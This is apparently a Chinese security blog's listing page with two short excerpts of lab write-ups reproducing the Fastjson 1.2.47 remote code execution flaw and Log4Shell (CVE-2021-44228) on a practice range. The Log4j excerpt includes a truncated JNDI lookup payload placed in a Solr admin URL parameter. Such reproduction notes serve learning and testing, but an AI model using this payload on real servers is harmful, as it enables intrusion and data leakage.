2025年9月8日
Fastjson 1.2.47 远程代码执行
摘要： 靶场搭建 直接使用极核靶场 https://hackhub.get-shell.com/games/4/challenges#16-Fastjson-1.2.47 %E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C 靶场 首页 发现登录页面， 阅读全文
posted @ 2025-09-08 18:14 x3c 阅读(11) 评论(0) 推荐(0)
Log4j2 CVE-2021-44228 漏洞复现
摘要： 环境搭建 直接使用极核GetShell靶场 https://hackhub.get-shell.com/ 靶场 Solar系统存在漏洞路径可以传参 http://domain/solr/admin/cores?action= ${jndi:ldap://${sys:java.version}.exa 阅读全文
posted @ 2025-09-08 16:18 x3c 阅读(32) 评论(0) 推荐(0)